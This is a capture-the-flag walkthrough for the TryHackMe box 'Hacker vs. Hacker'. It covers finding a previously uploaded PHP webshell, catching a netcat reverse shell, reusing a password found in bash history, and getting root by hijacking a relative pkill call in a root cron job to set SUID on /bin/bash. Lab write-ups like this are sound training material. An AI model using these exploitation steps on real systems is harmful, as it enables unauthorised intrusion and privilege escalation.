THM: Hacker vs. Hacker is an easy linux box that has already been compromised by another hacker! We’ll start by enumerating a web app to find a file upload vulnerability that the other hacker previously exploited and closed. Then we’ll continue with enumeration to find the webshell they uploaded. Once on the box we will find user creds and a big hint in a bash history file that points to a privesc vector. Finally we’ll exploit a path injection vulnerability to get a root shell.


As always we’ll start our enumeration with a port scan to see what services are running.

└─$ sudo rustscan -a -- -sV -oA nmap1

22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Checking port 80 in a browser shows a really simple webpage for a security recruiting company. The site is clearly still in development.

At the bottom of the page there is form where users can upload their CVs. This is definitely a closer look.

Viewing the source reveals a comment with a hint that there is a /cvs directory publicly exposed.

<!-- im no security expert - thats what we have a stable of nerds for - but isn't /cvs on the public website a privacy risk? -->

Does this mean if we upload a file, it’ll be accessible there?

Let’s try uploading an image.

Hacked! If you dont want me to upload my shell, do better at filtering!

<!-- seriously, dumb stuff:

$target_dir = "cvs/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);

if (!strpos($target_file, ".pdf")) {
  echo "Only PDF CVs are accepted.";
} else if (file_exists($target_file)) {
  echo "This CV has already been uploaded!";
} else if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
  echo "Success! We will get back to you.";
} else {
  echo "Something went wrong :|";


Aha! This must be the original vulnerability the hacker exploited. They probably uploaded their own shell, seeing as how the only filtering that was previously in place was a check that the filename included .pdf, which is trivial to bypass.

Now we can kick off a content scan on the /cvs directory and see if that proves true. We’ll scan for files with .pdf.php since the server has PHP enabled, the filename must include .pdf, and it would need to end in one of the extensions the server has configured to execute PHP code.

└─$ ffuf -u -e .pdf.php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -c -ic

[Status: 200, Size: 18, Words: 1, Lines: 2, Duration: 216ms]
    * FUZZ: shell.pdf.php

Got it! Now we can also scan for a query parameter, but it’s rather easy to guess that cmd works.

└─$ curl
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)

Getting A Shell

Now that we’ve confirmed code execution we can use the webshell to send ourselves a reverse shell.

Let’s run rlwrap nc -nlvp 4444 to open a netcat listener and we can use some URL encoded PHP shellcode to send the shell. (I used a PHP proc_open shell.)


And with that, we’re in!

└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 41296
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I tried a couple of times to upgrade to a fully interactive TTY shell but something on the box kept killing it, so I finally decided to move on with enumeration. More on this later.

User Flag

A quick look at /etc/passwd shows there is a lachlan user, and the user flag is in their home directory and world-readable.

Privilege Escalation

Lachlan’s .bash_history is also world readable.

cat .bash_history
vi /etc/cron.d/persistence
echo -e "dHY5pzmNYoETv7SUaY\nthis[REDACTED]123\nthis[REDACTED]123" | passwd
ls -sf /dev/null /home/lachlan/.bash_history

And it contains their password! With that we can pivot to their account.

su lachlan
Password: this[REDACTED]123
uid=1001(lachlan) gid=1001(lachlan) groups=1001(lachlan)

Just before changing their password, Lachlan edited a cronjob. Let’s take a look at that.

cat /etc/cron.d/persistence
# * * * * * root
* * * * * root /bin/sleep 1  && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done

This must be what’s killing the terminal every time we try upgrading to a TTY.

The first line of this script sets the /home/lachlan/bin directory at the top of the path, which we control.

All of the binaries used in the script are referenced with absolute paths, except for pkill. Since that one is relative and the job runs as root, we can hijack it to get a root shell!

We could send ourselves another reverse shell, but let’s see if we can just set the SUID bit on /bin/bash first and escalate that way.

First we need to make our malicious pkill script in that directory:

echo "#!/bin/bash\n\nchmod +s /bin/bash" > pkill && chmod +x pkill

And now we just need to wait a few seconds until the job runs again.

ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash

/bin/bash -p
uid=1001(lachlan) gid=1001(lachlan) euid=0(root) egid=0(root) groups=0(root),1001(lachlan)

cd /root
cat root.txt